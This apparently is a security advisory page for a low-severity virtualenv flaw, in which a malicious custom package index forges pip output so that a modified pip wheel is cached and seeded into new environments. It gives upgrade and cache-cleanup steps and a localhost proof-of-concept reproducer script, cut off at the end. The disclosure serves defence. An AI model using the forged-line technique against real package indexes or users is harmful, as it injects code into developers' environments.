---
id: "CVE-2026-113714"
kind: "vulnerability"
aliases: ["CVE-2026-113714", "GHSA-494p-63j8-28p3"]
title: "virtualenv: Downloaded wheel selection and caching precede verification"
severity: "low"
cvss: 2.3
epss: 0.00212
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.9"], "affected": "< 21.14.9", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci", "cwe-354", "package", "pip", "python", "self-hosted", "virtualenv"]
not_affected_if: ["default-pypi-only", "managed-hosting", "virtualenv-21.14.9-or-later"]
published_at: "2026-10-20T19:17:34+00:00"
first_seen_at: "2026-10-23T21:57:21+00:00"
updated_at: "2026-10-25T04:49:50+00:00"
sources: [{"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714", "first_seen_at": "2026-10-23T21:57:21+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-494p-63j8-28p3", "first_seen_at": "2026-10-23T22:27:42+00:00"}]
---

# virtualenv: Downloaded wheel selection and caching precede verification

virtualenv picks the file to verify from pip's text output and leaves rejected wheels in its reusable wheel cache. A malicious package index can therefore get a modified pip wheel accepted and seeded into new environments, where its injected code runs.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected < 21.14.9 fixed 21.14.9

## How to check

- Run `virtualenv --version` and compare against `21.14.9`.
- Check whether a custom index is set in `pip.conf` or `PIP_INDEX_URL`, since the attack needs the index operator to be the one serving packages.
- Inspect the cache at `~/.cache/virtualenv/wheel/house` for unexpected wheels.

## Fix

- Upgrade `virtualenv` to `21.14.9`.
- Delete `~/.cache/virtualenv/wheel` and rebuild environments after upgrading.
- Remove or restrict untrusted custom package indexes.

## Timeline

- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113714
- 2026-10-23T22:27:42+00:00 ghsa https://github.com/advisories/GHSA-494p-63j8-28p3

## From the sources

## Summary

Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual
output. A verification failure does not remove the downloaded file from that cache.

Anthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Download selection and promotion into the reusable wheel cache.

## Attacker-controlled input

A download must fail verification, or the archive selected from pip output must differ from the file later reused.
Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI
comparison.

## Affected code

The relevant 21.14.8 source is in
[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).

## Mechanism

`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash
from the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.

## Reproduction and evidence

The scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a
forged `Saved <path>` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.

The report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.

## Attack sequence

```mermaid
sequenceDiagram
    participant I as Configured index
    participant P as pip download
    participant C as wheel/house cache
    participant V as virtualenv digest check
    participant N as New environment
    I->>P: modified wheel and forged Saved line
    P->>C: write modified wheel directly
    P-->>V: stdout names genuine bundled wheel
    V->>V: hash genuine wheel and accept
    V->>C: record modified wheel for reuse
    C->>N: seed modified pip without rehash
    Note over P,C: Even a rejected wheel can remain in the cache
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}"  # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index"  # the line index_serves_modified_pip.py adds to pip/__init__.py


def user_upgrades_seed_wheels_and_creates_env():
    # each case starts from an empty app-data
    shutil.rmtree(app_data, ignore_errors=True)
    shutil.rmtree(home / "env", ignore_errors=True)
    upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
    # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
    subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
    pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
    # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
    refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
    logged = []
    if update_log_of_pip.exists():  # a failed update writes no log
        logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
    return refusal, logged, pip_version.stdout.splitlines()


# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
    [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
    stdout=subprocess.PIPE,
    stderr=subprocess.DEVNULL,
    text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start"  # printed once bound

# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL  modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL  modified pip: update log of pip lists", logged)
print("CONTROL  modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)

# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)

# check: the same modified wheel, refused without the forged line, is seeded with it
print

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
